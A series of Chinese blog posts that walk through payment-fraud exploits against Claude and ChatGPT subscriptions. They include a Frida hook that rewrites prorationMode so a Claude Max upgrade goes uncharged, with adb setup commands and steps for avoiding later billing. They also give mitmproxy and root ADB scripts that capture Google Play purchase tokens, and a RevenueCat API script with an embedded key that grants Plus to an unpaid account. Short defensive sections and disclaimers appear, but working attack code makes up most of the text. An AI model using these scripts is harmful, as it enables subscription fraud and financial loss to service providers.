}

用 Object.getOwnPropertyDescriptor 先取原始的 property descriptor，再通过 Object.defineProperty 精确替换 getter。比直接赋值靠谱得多——它保留了原始 descriptor 的所有属性（configurable、enumerable），而且会先检查 configurable 是否为 false，如果属性被冻结就优雅降级而不是静默失败。

3.6 状态指示器

const badge = document.createElement("div");
badge.id = "cassia-mock-badge";
badge.textContent = "Cassia Mock ON";

页面右下角一个绿色小角标，确认脚本已激活。实际攻击中这是个安慰剂——真正的确认是看支付页面有没有从信用卡变成 IBAN 输入框。但对于批量操作的卡商来说，这个视觉反馈能提高操作效率。

四、横向迁移：这不是一个漏洞，是一类漏洞

分析完焚决，我们跳出来看一个更有价值的问题：这类攻击是可复用的。

漏洞本质

客户端信任边界缺失：服务端将支付流的决策权——“这个用户该走哪条支付通道”——交给了一个客户端可以任意篡改的 API 响应。

这不是孤例。回顾我们之前分析过的一系列支付漏洞，它们共享同一个底层模式：

漏洞	被篡改的对象	信任边界裂缝
焚决（本例）	`checkout_capabilities` 响应	前端信任 API 返回值决定支付通道
GPT Plus offerToken 注入	Google Play Billing 内存中的 offerToken	服务端不校验 token 与账号资格的绑定关系
GPT iOS 收据复用	Base64 App Store 收据	服务端不验证收据与提交者账号的对应关系
Cloudflare Pro 竞态	并发请求的状态窗口	权限发放与支付确认之间存在可利用的时序差
RevenueCat 回调劫持	`fetch_token` 跨账号提交	第三方回调接口缺乏调用方鉴权

通用攻击模型

把这些漏洞抽象一下，可以提取出一个四步攻击框架：

1. 定位决策接口
 找到决定支付流 / 功能开关 / 定价计算的 API 端点
 信号关键词：checkout_capabilities, payment_methods, available_plans,
 eligible_promotions, feature_flags, entitlements

2. 注入篡改数据
 通过油猴脚本（Web）、MITM（移动端）、Frida Hook（Native）等
 方式替换响应内容

3. 选择确认延迟最长的路径
 SEPA 直接借记 > 银行转账 > PayPal > 信用卡
 延迟越长，时间窗口越大

4. 利用"前端校验 + 后端真空"
 前端校验通过后，后端在异步确认完成前不暂停服务发放

这个框架可以复用到任何订阅制平台，只要目标满足：

支付方式的选择依赖客户端可控状态
存在至少一种异步确认的支付方式
“服务开通"发生在"支付确认"之前

在漏洞挖掘实战中，打开 DevTools Network 面板，搜索 checkout、payment、billing、plan、subscription 这些关键词，找到所有影响支付逻辑的端点，逐个测试响应注入——这就是最直接的攻击面枚举方式。

五、防御视角

给服务端开发者

支付流决策必须服务端闭环。checkout_flow 的值应该在后端根据用户地区、账号状态、风控信号独立计算，前端只是一个渲染器——它不应该有能力选择自己走哪条支付通道。
异步支付必须延迟开通。SEPA、银行转账这类异步支付方式，在银行返回扣款成功确认之前，不应该开通任何付费功能。可以给用户一个"支付处理中"的状态，等清算完成后再激活。
API 响应签名。对关键 API 响应做 HMAC 签名（密钥存服务端），前端消费前验签。虽然不能根治（攻击者可以 Hook 验签逻辑），但大幅提高了攻击门槛——从改一个 JSON 字段变成了还得逆向验签实现。
IBAN 实时银行验证。接入 SWIFT gpi 或各国央行的 IBAN 验证服务（如德国 Bundesbank 的 IBAN 验证接口），在提交时做实时的账户存在性校验，而不是只靠本地 MOD 97。

给安全研究者

这类漏洞的攻击面很清晰——任何一个返回了影响支付逻辑数据的 API 端点，且这个数据可以被前端篡改，都是潜在的攻击入口。

一些高价值的"信号接口”：

checkout_capabilities / payment_methods / available_plans
region / locale / country_detection
eligible_promotions / offers / discounts
feature_flags / entitlements / subscription_tiers

六、实战翻车现场：“验证失败并清除旧会话”

讲完了攻击原理和防御思路，再来看一个真实场景——焚决并不是每次都能成功的。

在实际操作中（不管是焚决的 SEPA 路径还是正常的 Stripe 信用卡路径），你大概率会遇到这样一幕：

两条红色报错同时弹出来：

“未提交付款：发生了意外错误。请检查表单后重试。”
“验证失败并清除旧会话”

第一次看到这个，很多人会以为是卡的问题、网络的问题、脚本的问题。其实都不是——这是会话状态失效的问题，而且它能帮我们理解 Anthropic 的支付架构到底是怎么做验证的。

为什么会出现这个错误？

两条错误同时出现，意味着会话死在了支付提交的瞬间。理解这一点需要知道 Claude 支付提交时后端做了什么：

用户点击"提交支付"
 ↓
前端将 Stripe token / IBAN 提交到 Anthropic 后端
 ↓
后端第一件事：校验当前会话（session）是否有效
 ↓
会话失效 → 返回"验证失败" → 前端清除旧 session → 支付自然失败

关键点在于：Anthropic 在处理支付请求之前，会先验证你的登录会话。 如果会话已经过期或被吊销，支付请求根本不会到达 Stripe——它在 session 校验这一步就被打回来了。

五种常见的会话失效原因

① SK Cookie 过期（最常见）

Claude.ai 使用 __Secure-next-auth.session-token（业内简称 SK Cookie）维持登录态。这个 cookie 有 TTL，通常几个小时后过期。

如果你在打开支付页面之前获取的 cookie，到填完表单点提交的时候刚好过期——恭喜，踩中了时间窗口。自动化场景下尤其常见：任务在队列里排了一段时间，等轮到你的时候 cookie 已经不新鲜了。

② Session 被踢（多端互踢）

同一个账号如果在多个地方同时登录（比如你开了好几个 Worker 共用一个 cookie），后登录的会话会使前一个失效。你在 Worker A 上正准备提交支付，Worker B 刚好用同一个 cookie 做了一次请求刷新了 session——A 的 session 就死了。

③ 代理 IP 切换（Session-IP 绑定）

Anthropic 很可能在 session 上绑定了创建时的 IP 或 IP 段。如果你的代理在支付流程中间断线重连，换了一个出口 IP，后端一比对——这个 session 是从 45.67.xx.xx 创建的，现在请求来自 89.12.xx.xx？验证失败。

④ Stripe PaymentIntent 过期

即使 session 没问题，Stripe 侧也有自己的超时机制。PaymentIntent 和对应的 client_secret 有有效期（通常数小时，但在高风控场景下可能更短）。如果从打开支付页面到实际提交间隔太长，Intent 过期了，Stripe 返回错误，前端展示为"发生了意外错误"。

⑤ Checkout Session 并发冲突

同一个 Organization 如果同时发起了多个订阅操作（比如一个在升级 Pro，另一个在改支付方式），后一个操作创建的 checkout session 会使前一个失效。前一个提交的时候引用的 session ID 已经不存在了。

应对策略

针对这类会话失效问题，无论是做自动化还是做安全防护，都有几条通用原则：

从攻击者/自动化角度看：

策略	做法	解决的问题
Session 预检	进支付页之前先调 `/api/auth/session` 确认 cookie 存活	Cookie 过期
快进快出	打开支付页后立刻完成填写和提交，压缩停留时间	Intent 超时
代理钉住	支付全流程内锁定同一个代理出口，不允许中途切换	IP 绑定
Cookie 生命周期管理	记录每个 cookie 的获取时间，临近 TTL 时主动刷新	Cookie 过期
错误分类重试	检测到"清除旧会话"后标记为 session 失效，重新获取 cookie 再试	所有会话类问题
单账号串行化	同一个 org 同时只跑一个支付操作	并发冲突

从防御者角度看：

这个报错机制本身就是 Anthropic 的一层防线——在处理支付之前先验会话，避免在认证不确定的情况下创建订阅。这个设计是对的。

但如果要更进一步：

Session 绑定 + 支付确认二次绑定：不光 session 绑 IP，PaymentIntent 也应该绑定创建时的 session ID。Session 变了，Intent 就失效——即使攻击者拿到了一个新的有效 session，也得重新走一遍支付页面，不能复用之前的 Intent。
支付提交时的实时 Session 刷新：在提交支付的瞬间，后端不仅校验 session 是否有效，还可以强制刷新一次 token，确保提交时的 session 是"活跃"的而不仅仅是"未过期"的。
异常模式检测：如果一个 org 短时间内反复出现"session 校验通过 → 进入支付页 → 提交时 session 失效"的模式，说明有人在用自动化工具——标记为可疑行为。

小结

这个"验证失败"的报错看着烦人，但它揭示了一个重要的架构细节：Anthropic 的支付流不是单纯的前端-Stripe 双边交互，中间有一层 session 校验网关。 这层网关既是防线（挡住了过期/伪造的会话），也是自动化场景下最常踩的坑。

理解了这个机制，不管你是想加固自己平台的支付安全，还是想搞清楚为什么自己的自动化流程老是翻车——这个报错里都有答案。

七、写在最后

焚决这个东西，技术上说穿了就是一个客户端状态注入工具。它不攻击 Claude 的认证系统，不碰 Anthropic 的服务器，攻击目标是前端与后端之间那条看不见的信任边界。

它的精妙不在于代码多复杂——说真的 200 行 JS 连个正经项目的单元测试都撑不满——而在于它精准地捏住了两个系统设计缺陷的交叉点：

Anthropic 的前端支付流由一个可篡改的 API 响应驱动
SEPA 直接借记在清算完成前不验证账户真实性

两个缺陷单独拿出来，各自都不算致命。但组合在一起，就变成了一条从"修改一个 JSON 字段"到"零元订阅 Claude Max"的完整攻击链。

而这类"信任边界错位 + 异步确认间隙"的组合漏洞，绝不仅限于 Claude。任何一个同时提供信用卡和 SEPA 支付的 SaaS 平台，如果支付通道的选择权交给了前端，都可能面临同样的问题。

工具可以被修复，模式值得被记住。

Google Play 内购 CC Max 漏洞深度拆解 — 一个 Bundle.putInt 就能白嫖 $250/月的 Claude Max

Wed, 22 Jul 2026 10:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。本文描述的漏洞已于 2026 年 7 月被修复。任何利用类似手段对正式服务进行未授权操作属违法行为，后果自负。

部分思路来自 cctest.ai 作者，在此致谢。

0x00 背景：$20 的 Pro，$250 的 Max，中间差了一个 hook

Claude 的 Android 客户端走 Google Play 内购（Google Play Billing Library）处理订阅。价格梯度大概是这样：

方案	月费
Pro	$20
Max 5x	$125
Max 20x	$250

正常流程：你是 Pro 用户，想升级到 Max，Google Play 会按剩余天数计算差价，立刻从你的信用卡上扣。

但如果我告诉你，有个参数决定了 Google Play 对这笔"升级"收不收钱呢？

而且这个参数，就是 Android Bundle 里一个普普通通的 putInt 调用？

0x01 prorationMode：Google Play 里最被低估的攻击面

Google Play Billing Library 在处理订阅升/降级时，有个参数叫 prorationMode（比例分配模式），定义在 BillingFlowParams.SubscriptionUpdateParams 里。它决定了用户切换订阅方案时的扣费逻辑：

值	常量名	行为
0	UNKNOWN_SUBSCRIPTION_UPGRADE_DOWNGRADE_POLICY	未知
1	WITH_TIME_PRORATION	按剩余时间折算差价，立刻扣费
2	CHARGE_PRORATED_PRICE	按比例收取差价
3	WITHOUT_PRORATION	立刻升级，本周期不收费，下个周期按新价扣
5	CHARGE_FULL_PRICE	立刻全额扣费
6	DEFERRED	延迟到下个周期才生效

重点关注 3 — WITHOUT_PRORATION：Google 官方文档里写得很清楚，这个模式的设计意图是"让用户立刻获得高级功能，但推迟扣费到下个计费周期"。本来是给某些业务场景用的（比如试用期升级），但如果被滥用……

Claude 的客户端代码里，升级订阅时用的是模式 1（WITH_TIME_PRORATION），也就是正常的按比例扣差价。它通过 Bundle.putInt("prorationMode", 1) 把这个值传给 Google Play 的计费 Activity。

这个 Bundle.putInt 调用发生在客户端侧。客户端侧的东西，你懂的。

0x02 攻击链：Frida 一条龙

整个攻击链其实非常简洁，所有操作都在模拟器上完成。用到的工具：

MuMu 模拟器（x86_64，因为要跑 Frida server 的 x86 版本）
KernelSU（MuMu 自带，用来获取 root）
Frida 17.16.0（动态插桩框架）
特定版本的 Claude APK（v1.260330.27，在 Uptodown 可以下到历史版本）
一个能扣 $20 的美区 Google 账号
家宽 IP（避免 Google 风控拦截）

步骤拆解：

第一步：搭环境

MuMu 模拟器装好后，用它自带的 Google 安装器装上 Google 套件 + Play 商店。打开 KernelSU Manager 给 Shell 授权 root。这步没啥技术含量，MuMu 对 Google 服务兼容性比 LDPlayer 好不少。

第二步：准备 Claude APK

这里有个前置问题——你不能直接从 Play 商店装 Claude。

现在的 Android 应用普遍使用 App Bundle（AAB）格式发布，Play 商店下发的是 split APK：base.apk 加一堆按设备拆分的 config splits（ABI、密度、语言）。x86_64 模拟器拿到的 splits 跟 ARM 真机不一样，而且 split APK 不能直接 adb install 侧载。

所以需要一个经过修补、移除了 split 限制的完整 APK。实测可用的版本是 v1.260330.27，从 Uptodown 等第三方市场可以找到历史版本的完整包。关键词：“已修补 split 限制”——就是把 App Bundle 重新打包成单个 APK，绕过 Play 商店的分发限制。

还有一个连锁问题：修补过的 APK 签名跟 Google Play 原版不一致（相当于 debug 签名），Google OAuth 登录会直接拒绝——点 “Continue with Google” 没反应或者报错。解决办法很简单：用邮箱登录（Continue with email），输入 Claude 账号的邮箱和密码，完全不走 OAuth。

第三步：部署 Frida

adb push frida-server-17.16.0-android-x86_64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell su -c "setenforce 0"
adb shell su -c "/data/local/tmp/frida-server -D &"

MuMu 有个坑：它的 ADB 端口不是标准 5555，而是 5557（多开的话 5559、5561 递增）。另外 MuMu 用 houdini 做 ARM 翻译，所以 Frida 必须用 attach 模式，不能用 spawn 模式（-f 参数），否则 houdini 翻译层直接 SIGSEGV 崩掉。

第四步：注入 Hook

核心的 hook 脚本其实就干了一件事——拦截 Bundle.putInt，把 key 为 prorationMode 的值从 1 改成 3：

var Bundle = Java.use("android.os.Bundle");
Bundle.putInt.overload("java.lang.String", "int").implementation = function (key, value) {
 if (key === "prorationMode") {
 console.log("[*] 拦截 prorationMode: " + value + " → 3 [WITHOUT_PRORATION]");
 return this.putInt(key, 3); // 就这一行，价值 $230/月
 }
 return this.putInt(key, value);
};

注意启动方式——必须先手动打开 Claude，再用 -H 连接（而不是 -U），因为 MuMu 的 USB 层跟标准 Android 不一样。而且 Frida 的进程名参数必须用显示名 Claude，不能用包名 com.anthropic.claude——MuMu 上 -H 模式下 Frida 按包名是找不到进程的，只认 app_process 里注册的显示名：

adb forward tcp:27042 tcp:27042
frida -H 127.0.0.1:27042 Claude -l hook-replacement-mode.js
# 注意：用 com.anthropic.claude 会报 "unable to find process"

这里还有个细节：脚本额外拦截了 SentryNdk.loadNativeLibraries 和 SentryAndroidNdk 的初始化方法，因为 Sentry 的 native crash 上报模块在 houdini 翻译层下也会崩。不拦截的话 App 直接闪退。

除了核心的 prorationMode 拦截，脚本还 hook 了 PurchaseReceipt 的构造函数，打印 purchase_token 和 organization_id。这个 org_id 是 Anthropic 后端用来标识组织/用户的唯一 ID（格式类似 6a085918-8383-44e5-9538-c4c81c6e122b），在规模化操作时用于追踪哪个 Claude 账号绑定了哪笔 Google Play 订阅——一个 Google 账号只能给一个 Claude 账号开通订阅，org_id 就是这个映射关系的 key。

第五步：走一遍正常支付

hook 注入成功后（控制台会显示 Frida Hook 注入成功!，App 里也会弹 Toast），正常操作：

用邮箱登录 Claude 账号（不能用 Google OAuth，原因见上）
在模拟器里绑定支付卡（需要能扣 $20 的真实/虚拟信用卡）
通过 Google Play 订阅 Pro（$20/月）—— 这笔钱是真扣的

第六步：触发升级

Pro 订阅成功后，直接在 App 里点"升级到 Max"。这时候 hook 就发挥作用了：

控制台输出：

[*] 拦截 prorationMode: 1 [WITH_TIME_PRORATION] → 3 [WITHOUT_PRORATION]

同时 PurchaseReceipt 的 hook 会打印出新订阅的 org_id，确认升级已经走通了 Anthropic 后端。

Google Play 的计费页面会显示：

产品：Claude Max
价格：$250.00/month（日区显示 JP¥42,500/month）
开始日期：2026年8月20日（注意，是下个月！）
“我们将于 2026年8月20日向您收取第一笔费用”

看到了吗？因为 prorationMode 被改成了 WITHOUT_PRORATION，Google Play 认为"当前不收费，下个计费周期再扣"。点击订阅，立刻升级到 Max，卡上不会多扣一分钱。

第七步：善后

升级成功后，去 payments.google.com 把这个订阅的支付方式换成余额钱包（Google Play 余额一般是 0）或者一张空的虚拟卡，然后解绑原来的支付卡。

下个月续费的时候，余额不够或者虚拟卡扣费失败，订阅自然过期。但这一个月的 Max 你已经用上了。

$20 的成本，享受 $250 的服务。利润率 1150%。

有一个规模化的硬约束：一个 Google 账号只能给一个 Claude 账号开通订阅。想批量撸就得不断囤 Google 号——这也是为什么这条灰产链的瓶颈不在技术，而在号源。

0x03 为什么这个 bug 能成立

从技术层面分析，这个漏洞能成立需要几个条件同时满足：

1. prorationMode 由客户端决定

这是最根本的问题。Google Play Billing Library 的设计是把 prorationMode 作为客户端参数传递给 Google Play 的计费系统。Google Play 本身不会校验"这个 App 有没有资格用 WITHOUT_PRORATION 模式"——它无条件信任客户端传来的值。

这是一个经典的信任边界错误：把安全关键参数的决定权放在了不可信的客户端侧。

2. 服务端验证缺位

Claude 的后端在收到 Google Play 的订阅回调时，主要验证的是"这个 purchase token 是否有效"和"订阅是否 active"。它不会去检查 prorationMode 是什么——因为这个信息在服务端回调里根本就没有。Google Play 的 purchases.subscriptions API 返回的数据里不包含当初用的是哪个 proration mode。

3. 历史版本 APK 的可用性

新版 Claude 可能已经做了混淆或者改变了参数传递方式，但旧版本在 Uptodown 等第三方市场永远可以下到。只要 Google Play 的 Billing API 版本还兼容，旧 APK 照样能完成订阅操作。

0x04 不用 hook 的路子：速刷

值得一提的是，prorationMode hook 并不是唯一的利用方式。圈子里还流传一种叫"速刷"的打法——不需要 Frida，不需要 hook，纯靠旧版本客户端的某些行为差异来打时间差。

具体原理不在本文展开（毕竟还没被修），但核心思路类似：利用 Google Play Billing Library 旧版本在处理订阅变更时的窗口期，在扣费确认到达之前完成订阅切换。跟 prorationMode hook 相比，速刷的门槛更低（不需要 root、不需要 Frida），但成功率也更低，而且强依赖特定的历史版本 APK。

这两种方法本质上攻击的是同一个面：Google Play 对客户端行为的过度信任。

0x05 修复状态与后续

截至 2026 年 7 月，prorationMode hook 这个特定的攻击路径已被修复。从修复思路上猜测，可能的措施包括：

客户端侧：新版 Claude APK 不再使用 Bundle 明文传递 prorationMode，可能改用了加密或者服务端控制
服务端侧：在处理升级回调时增加了额外验证（比如检查 linkedPurchaseToken 的订阅金额是否合理）
Google Play 侧：Google 可能限制了 WITHOUT_PRORATION 模式的使用场景（需要应用显式在 Google Play Console 配置）

但说实话，Google Play Billing 的这个攻击面远没有被堵死。prorationMode 只是其中一个参数，BillingFlowParams 里还有其他可操控的字段。只要"客户端构建支付参数 → 传给 Google Play → Google Play 无条件执行"这个模型不变，同类问题就会持续出现。

据了解，目前仍有针对其他参数或其他 App 的类似攻击手法在流通。Google Play 内购系统的安全模型，说白了就是建立在"客户端可信"这个脆弱假设上的。

0x06 技术启示

如果你是开发者，从这个漏洞可以学到：

永远不要信任客户端传来的支付参数。即使是通过 Google Play 这种"可信"中间人，底层的 BillingFlowParams 仍然是客户端构造的。
服务端必须独立验证订阅状态。不要只检查 token 有效性，还要验证订阅的实际扣费金额（通过 purchases.subscriptions 的 priceAmountMicros 字段）与预期是否一致。
Pin APK 版本。如果你依赖客户端逻辑做安全控制，服务端应该检查客户端版本号，拒绝过旧版本的请求。

如果你是安全研究者，这个 case 是一个很好的"API 信任边界"研究样本。Google Play Billing Library 把自己定位成"安全的支付中间件"，但它实际上信任了太多来自客户端的输入。类似 Frida hook Bundle.putInt 这种低成本的攻击手段，在整个 Android 内购生态里适用面很广。

本文记录的是一个已修复的安全问题，旨在帮助开发者理解 Google Play 内购系统的安全边界。

如果你对 Android 安全、支付系统攻防感兴趣，欢迎关注博客，后续会持续更新更多分析。

GPT Plus 订阅转移全解析 - 从 Google Play Token 到一键开通的完整技术链路

Fri, 17 Jul 2026 16:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

前言

之前写了两篇关于 GPT Plus 的漏洞分析：一篇是 iOS 收据复用，一篇是 Google Play offerToken 替换实现 0 元订阅。

今天这篇不一样——我们不搞 0 元白嫖，也不搞收据复用。今天讲的是一个更优雅的思路：订阅转移。

简单说就是：A 账号在 Google Play 上正经花钱买了 Plus，但通过技术手段，把这个订阅"转"给 B 账号。B 账号什么都没付，直接变 Plus。

听起来玄乎？其实原理简单得令人发指。往下看。

免责声明：本文仅供安全研究与技术交流。未经授权的行为可能违反相关法律法规，请勿用于非法用途。

一、核心原理：为什么能"转移"？

ChatGPT Android 的订阅架构

很多人以为 GPT 的订阅是 OpenAI 自己处理的。不是。

Android 端的订阅走的是这条链路：

Google Play 支付（扣钱）
 ↓ 生成 purchase token
ChatGPT App 拿到 token
 ↓ 发送到 RevenueCat
RevenueCat 验证 token
 ↓ 通知 OpenAI
OpenAI 后端开通 Plus

中间有个关键角色：RevenueCat。它是一个第三方订阅管理平台，充当 Google Play 和 OpenAI 之间的"中间人"。

漏洞在哪？

RevenueCat 的核心 API 是 POST /v1/receipts，请求体长这样：

{
 "fetch_token": "<Google Play 的购买凭证>",
 "app_user_id": "<OpenAI 的账户 ID>",
 "product_ids": ["oai.chatgpt.plus"]
}

注意这两个参数：

参数	含义	来源
`fetch_token`	购买凭证，证明"有人付了钱"	Google Play 支付后返回
`app_user_id`	账户 ID，决定"给谁开通"	OpenAI 的 account_id

这两个参数是完全独立的。

Google Play 只管"收钱并出具凭证"——它不关心这个凭证最终给谁用。RevenueCat 只管"验证凭证并绑定到指定用户"——它不检查 app_user_id 是否就是付钱的那个人。

打个比方：你在肯德基买了个汉堡，小票给了你朋友，你朋友拿小票去柜台，柜员一扫码——嗯，小票是真的，给。至于小票是不是你朋友买的？柜员根本不看。

所以：用 A 的 token + B 的 account_id = 给 B 开 Plus。

这就是"订阅转移"的全部原理。

二、关键标识符一览

在动手之前，先搞清楚几个关键 ID：

标识符	说明	长啥样	怎么拿
fetch_token	Google Play 购买凭证	`iekllednimgnlmo...`（很长一串）	支付后拦截/ADB 提取
app_user_id	OpenAI 账户 ID	`f211fe99-83d9-4c48-b016-ee08984a592a`	调 accounts/check API
RevenueCat API Key	RC 公钥（固定值）	`goog_DPguJtknNxbQBStStwhWGRsghUw`	抓包可得，下面直接给你
product_id	订阅产品标识（固定值）	`oai.chatgpt.plus`	固定的

三、获取 purchase token（两种姿势）

Token 是核心。拿到 token，后面的事就水到渠成了。这里提供两种获取方式，难度由低到高。

方式一：MITM 代理拦截（推荐，无需 Root）

原理：在 Android 设备和 RevenueCat 服务器之间架一层代理，支付完成后 ChatGPT App 会把 token 发给 RevenueCat，我们在中间截下来。

你需要准备：

Android 设备（真机或模拟器，需装 Google Play 服务）
已登录的 Google 账号（需有支付方式或免费试用资格）
ChatGPT App
MITM 代理工具（推荐 Reqable / mitmproxy / Charles）

步骤：

Step 1：设备连接代理，安装并信任 MITM 证书。

Step 2：在代理工具中设置拦截规则：

URL 匹配: api.revenuecat.com/v1/receipts
请求方法: POST
动作: 拦截请求（Block）

Step 3：打开 ChatGPT App，用一个临时账号登录（不是目标账号！）。

Step 4：进入订阅页面 → 选择 Plus → 完成 Google Play 支付。

Step 5：支付完成后，代理工具会拦截到 POST /v1/receipts 请求。从请求体中提取 fetch_token 字段，保存。

Step 6：阻断该请求，不让它发到 RevenueCat。

为什么要阻断？因为如果让请求正常到达 RevenueCat，token 就会被"消费"掉，绑定到临时账号上，就没法转移了。

时间窗口：token 拦截后有 72 小时有效期。超时未被 Acknowledge，Google Play 会自动退款。所以别拖太久。

如果你用 mitmproxy，这里有个现成的拦截脚本：

# mitm_intercept.py — 自动拦截并保存 token
import json, time
from mitmproxy import http

TOKEN_FILE = "tokens.jsonl"

class RevenueCatInterceptor:
 def request(self, flow: http.HTTPFlow):
 if (flow.request.pretty_url.endswith("/v1/receipts")
 and flow.request.method == "POST"):
 try:
 body = json.loads(flow.request.get_text())
 fetch_token = body.get("fetch_token", "")
 if fetch_token:
 record = {
 "fetch_token": fetch_token,
 "original_user_id": body.get("app_user_id", ""),
 "captured_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
 "used": False
 }
 with open(TOKEN_FILE, "a") as f:
 f.write(json.dumps(record) + "\n")
 print(f"[+] Token captured: {fetch_token[:40]}...")

 # 返回伪造响应，阻断真实请求
 flow.response = http.Response.make(
 200,
 json.dumps({"subscriber": {"entitlements": {}}}),
 {"Content-Type": "application/json"}
 )
 except Exception as e:
 print(f"[-] Parse error: {e}")

addons = [RevenueCatInterceptor()]
# 启动: mitmproxy -s mitm_intercept.py -p 8888

跑起来之后，每次支付完成，token 就自动保存到 tokens.jsonl，一条一行，干净利落。

方式二：ADB 直读 Google Play 数据库（需要 Root）

原理：Google Play 的购买记录存在本地 SQLite 数据库 library.db 里。Root 设备可以直接把数据库拉出来，用 SQL 查 token。

这个方法的好处是不需要实时拦截——支付完成后随时都能提取。坏处是需要 Root。

完整提取脚本：

"""
read_purchase_token.py
通过 ADB 从 Google Play library.db 读取 ChatGPT 购买 Token
"""
import os, json, time, sqlite3, tempfile, subprocess

OUTPUT_FILE = "purchases.txt"
DB_SRC = "/data/data/com.android.vending/databases/library.db"
DB_SDCARD = "/sdcard/.tmp_read_token.db"
DEVICE_SERIAL = "" # 留空自动选第一台设备

def adb(*args, timeout=15):
 cmd = ["adb"]
 if DEVICE_SERIAL:
 cmd += ["-s", DEVICE_SERIAL]
 cmd += list(args)
 try:
 r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
 return r.returncode, (r.stdout + r.stderr).strip()
 except FileNotFoundError:
 return -1, "adb not found"

def read_token():
 tmp_path = None
 try:
 # Step 1: 用 root 权限把数据库复制到 sdcard
 code, out = adb("shell",
 f"su -c 'cp {DB_SRC} {DB_SDCARD} && chmod 644 {DB_SDCARD} && echo DONE'")
 if code != 0 or "DONE" not in out:
 print("复制失败，请确认设备已 Root")
 return

 # Step 2: pull 到本地
 _, tmp_path = tempfile.mkstemp(suffix=".db")
 adb("pull", DB_SDCARD, tmp_path)

 # Step 3: SQLite 查询
 conn = sqlite3.connect(tmp_path)
 cur = conn.cursor()

 # 自动识别表结构
 cur.execute("PRAGMA table_info(ownership)")
 cols = [r[1] for r in cur.fetchall()]

 # 找 JSON 数据列
 json_candidates = ["inapp_purchase_data", "purchase_data", "value", "data"]
 json_col = next((c for c in json_candidates if c in cols), None)
 doc_col = "doc_id" if "doc_id" in cols else cols[3]

 # 查 ChatGPT 相关购买记录
 sql = f"""
 SELECT account, {doc_col}, {json_col}
 FROM ownership
 WHERE ({doc_col} LIKE '%openai%' OR {doc_col} LIKE '%chatgpt%')
 AND {json_col} IS NOT NULL
 ORDER BY rowid DESC
 """
 rows = cur.execute(sql).fetchall()
 conn.close()

 # Step 4: 解析并保存 token
 saved = set()
 for row in rows:
 email = str(row[0]) if row[0] else "unknown"
 raw_json = str(row[2]) if row[2] else ""
 if "purchaseToken" not in raw_json:
 continue
 data = json.loads(raw_json)
 token = data.get("purchaseToken", "")
 order = data.get("orderId", "")
 if not token or token in saved:
 continue
 saved.add(token)

 entry = f"{time.strftime('%Y-%m-%d %H:%M:%S')} | {email} | {order} | {token}\n"
 with open(OUTPUT_FILE, "a") as f:
 f.write(entry)
 print(f"邮箱: {email}")
 print(f"Order: {order}")
 print(f"Token: {token[:60]}...")
 print(f"已保存 -> {OUTPUT_FILE}")

 print(f"共保存 {len(saved)} 条")
 finally:
 if tmp_path:
 os.unlink(tmp_path)
 adb("shell", f"rm -f {DB_SDCARD}")

if __name__ == "__main__":
 read_token()

这段代码做了什么？

一步步拆解：

su -c 'cp ...' — Google Play 的数据库在 /data/data/com.android.vending/ 下，普通权限读不了，必须用 su（Root）复制到 sdcard
adb pull — 把数据库从手机拉到电脑上
SQLite 查询 — ownership 表存了所有购买记录，用 LIKE '%chatgpt%' 过滤出 ChatGPT 相关的
JSON 解析 — 购买数据是 JSON 格式存的，里面有 purchaseToken 和 orderId

数据库的 ownership 表结构大概长这样：

列名	类型	说明
account	TEXT	Google 账号邮箱
doc_id	TEXT	应用包名+产品ID
inapp_purchase_data	TEXT	JSON 格式的购买数据

JSON 里面关键字段：

{
 "orderId": "GPA.3305-3747-1234-56789",
 "packageName": "com.openai.chatgpt",
 "productId": "oai.chatgpt.plus",
 "purchaseTime": 1720000000000,
 "purchaseState": 0,
 "purchaseToken": "iekllednimgnlmo...（很长一串）",
 "quantity": 1,
 "acknowledged": false,
 "autoRenewing": true
}

purchaseToken 就是我们要的东西。拿到它，就能"转移"订阅。

四、获取目标账号的 account_id

Token 到手了，接下来要知道"转给谁"——也就是目标 GPT 账号的 account_id。

API 调用：

GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27
Authorization: Bearer <目标账号的 JWT Token>

响应里有个 account_id 字段，UUID 格式：

{
 "account_id": "f211fe99-83d9-4c48-b016-ee08984a592a",
 "email": "target@example.com",
 ...
}

怎么拿 JWT Token？

最简单的方式：浏览器登录 ChatGPT → 访问 https://chatgpt.com/api/auth/session → 响应里有 accessToken。

或者直接让用户给你 Session JSON，你从里面解析 account.id。

五、执行转移

Token 有了，account_id 有了，最后一步：调 RevenueCat API，把 token 绑到目标账号上。

完整转移脚本

import requests
import json

url = "https://api.revenuecat.com/v1/receipts"

headers = {
 "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/BP4A.260205.001)",
 "Content-Type": "application/json",
 "X-Platform": "android",
 "X-Platform-Flavor": "native",
 "X-Platform-Version": "36",
 "X-Version": "9.22.1",
 "X-Client-Bundle-ID": "com.openai.chatgpt",
 "X-Observer-Mode-Enabled": "false",
 "X-Custom-Entitlements-Computation": "true",
 "X-Storefront": "US",
 "Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw",
 "X-RevenueCat-ETag": ""
}

data = {
 "fetch_token": "<你拿到的 purchase token>",
 "product_ids": ["oai.chatgpt.plus"],
 "platform_product_ids": [{"product_id": "oai.chatgpt.plus"}],
 "app_user_id": "<目标账号的 account_id>",
 "is_restore": True,
 "observer_mode": False,
 "purchase_completed_by": "revenuecat",
 "initiation_source": "unsynced_active_purchases",
 "sdk_originated": False,
 "payload_version": 1
}

response = requests.post(url, headers=headers, data=json.dumps(data, separators=(',', ':')))

if response.status_code == 200:
 result = response.json()
 subscriber = result.get("subscriber", {})
 entitlements = subscriber.get("entitlements", {})
 subscriptions = subscriber.get("subscriptions", {})

 if "chatgpt_plus" in entitlements:
 ent = entitlements["chatgpt_plus"]
 print("=" * 50)
 print("充值成功！")
 print("=" * 50)
 print(f" 账号 ID : {subscriber.get('original_app_user_id')}")
 print(f" 到期时间 : {ent.get('expires_date')}")
 print(f" 产品标识 : {ent.get('product_identifier')}")

 for pid, sub in subscriptions.items():
 price = sub.get("price", {})
 print(f" 价格 : {price.get('amount', '?')} {price.get('currency', '')}")
